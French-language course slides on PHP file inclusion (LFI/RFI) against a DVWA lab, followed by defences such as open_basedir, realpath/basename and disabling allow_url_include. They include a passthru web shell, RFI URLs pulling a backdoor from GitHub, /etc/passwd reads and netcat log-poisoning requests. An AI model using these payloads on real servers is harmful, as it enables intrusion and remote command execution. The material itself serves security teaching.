Skip to content
Snippets Groups Projects

File Inclusion

aka LFI / RFI

File Inclusion

  • paramètres HTTP non filtrés
include($_REQUEST['filename']);

Local File Inclusion (LFI)

security low

Note:

  • open base dir
    • pas ou mal configiuré
    • par défaut ispconfig
  • anciennement safe_mode

fichiers sytèmes connus

  • fichiers systèmes génériques
    • c:\boot.ini, c:\windows, c:\windows\system32\drivers\etc\hosts
    • /etc/passwd
  • utilisé des paths absolus
  • utilisé des paths relatifs (../.. ou ..\..)
  • windows
    • les sevrices tournent souvent en administaretur
  • linux
    • services en root
      • threads avec utlisateur sans privilege

Note:

  • pas de troll sur windows
    • stackoverflow fonctionne en .net
    • microsoft a ouvert de nombreux projets
  • les path en pahse de détection sont d'un grand secours pour comprendre l'organisation du filesystem

fonction de l'architecture du code

fonction de l'architecture du code

  • dossier d'inclusion dynamique de fichier
    • paramètres d'url full path
      • ?config=../template.htm
    • paramètres d'url obfusqué
      • ?config=site
include "config/".$config.".php";

http://dum.my/config.php?config=conf.inc

Note:

  • magic_quote_gpc doit être disabled
    • supprimé de la version 5.4.0
      • pas maquettée on une 5.4.41 sur debian
  • code source inclu interprété ou pas
    • pas toujours évident à savoir
      • bien comprendre le contexte
  • importance des paths collecter à l'étape de détection
  • exploitable via http://mutillid.ae https://www.youtube.com/watch?v=t8w6Bd5zxbU
    • textfile passé en post à intercepter avec burp
      • bon exercice

Remote File Inclusion (RFI)

  • inclusion de code arbitraire

    • Backdoor ou Remote shell
  • dépend de la configuration de php

    • par défaut
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include=Off  
  • à On pour les besoins du TP
    • certains produits PHP nécessitent cette option

security medium

Approche artisanale

$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);         

Note:

  • discuter la surcharge du php.ini via .htaccess
    • solution ispconfig
  • on reste bien sur security low pour que ca marche

Backdoor

  • basiquement permet d'exécuter du code et / ou des commandes systèmes
    • version artisanale
echo passthru($_GET['cmd']);

remote raw backdoor

http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php

http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls

http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls

security medium

log poisoning

dans /etc/apache2/sites-enabled/dvwa

CustomLog /home/mazenovi/logs/dvwa-access.log combined

log poisoning

  • l'utilisateur lié au thread apache a accès en lecture à ce répertoire
http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log
  • les logs sont affichés

Note:

  • j'ai volontairement configuré les logs dans un endroit non sécurisé pour que ca marche
    • pour des facilités de lectures ou d'archivage ca poeut êtyre une idée (mauvaise)
    • lien symbolique doit marcher ausssi

injection de la backdoor

  • netcat (aka nc) permetd'ouvrir des connexions UDP ou TCP
$ nc dv.wa 80
  • Entrer manuellement les paramètres suivant
GET /<?php echo passthru($_GET['cmd']); ?> HTTP/1.1
Host: dv.wa
Referer: <?php echo passthru($_GET['cmd2']); ?>
User-Agent: <?php echo passthru($_GET['cmd3']); ?>
http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls

attendre le log rotate en cas d'échec

Note:

  • notez que les .log ne sont pas associés à l'interpréteur PHP au niveau d'apache
    • c'est le include qui interprète gentiment ce qui est entre
  • attention c'est un one shot
  • /home/mazenovi/logs/dvwa-access.log pour bien voir

  • /home/mazenovi/logs/dvwa-error.log pour bien voir

  • ctrl + f "help" pour trouver les rep listés on est dans
    • /var/www/dvwa/vulnerabilities/fi/

PHP safe mode

  • Quand safe mode est actif, PHP vérifie que le propriétaire du script courant est le même que le propriétaire des fichiers ou dossiers qui seront manipulés par ce script.
-rw-rw-r--    1 rasmus   rasmus       33 Jul  1 19:20 script.php
-rw-r--r--    1 root     root       1116 May 26 18:01 /etc/passwd
readfile('/etc/passwd');
Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not
allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2

PHP safe mode

  • senser résoudre le problème du partage de PHP en environnement mutualisé
  • déprécié en 5.3
  • supprimé depuis 5.4
  • approche non réaliste
    • ce n'est pas à PHP de régler ce problème
  • safe_mode_gid permet d'élargir au groupe s'il est activé

suPHP

  • executing PHP scripts with the permissions of their owners
  • Apache module (mod_suphp)
  • setuid root binary (suphp)
    • called by the Apache module to change the uid of the process executing the PHP interpreter
    • rien ne doit être en chmod 777
      • reporté comme erreur

abandonné depuis 2013

suExec

  • Au niveau d'Apache
  • exécution des programmes CGI et SSI (Server Side Inclusion)
    • utilisateur autre que celui par défaut d'apache

Note:

  • bien pour le multi hosting notamment
    • chacun ne peut ruiner que son périmètre
  • Utilisée de manière appropriée
    • réduit considérablement les risques de sécurité
  • les deux sont déconseillés car ils se basent sur des mod PHP peu performant par rapport à PHP-FPM

open_base_dir

  • A l'appel de fonctions de type require_once ou fopen
    • le chemin vers le fichier est analysé
      • si le fichier est à l'extérieur des dossiers spécifiés
        • PHP refuse d'y accéder
      • les liens symboliques sont résolus
        • il n'est pas possible d'outre-passer cette restriction avec un lien symbolique

open_base_dir

  • . inclue le fichier lui-même

    • problématique si on change le dossier courant avec chdir()
  • valeur typique

/var/www/:/usr/share/php:/tmp

Note:

  • utilisé et configuré en automatique dans ISPConfig
  • on peut désactiver chdir ...

realpath() and basename()

  • realpath()
    • converti tous les . et .. en path absolue
    • retourne null pour un path inexistant
  • basename()
    • extrait la partie contenant le nom du dossier précédant directement le nom du fichier
  • 2 fonctions qui combinées évitent les directory traversal

realpath() and basename()

$username = $_GET['user'];
$filename = "/home/users/".$username;
readfile($filename);

peut être sécurisé via realpath() et basename()

$username = basename(realpath($_GET['user']));
$filename = "/home/users/".$username;
readfile($filename);

ne préserve pas d'une LFI dans le même répertoire

Se préserver

  • filtrer ses entrées
    • avec realpath() et basename()
    • par listes blanches
  • déscativer allow_url_include
  • utiliser l'open_base_dir

Se préserver

  • désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. upload)
  • faire attention aux permissions des logs notamment en lecture
    • écriture forcément autoriser pour l'utilisateur qui fait tourner le serveur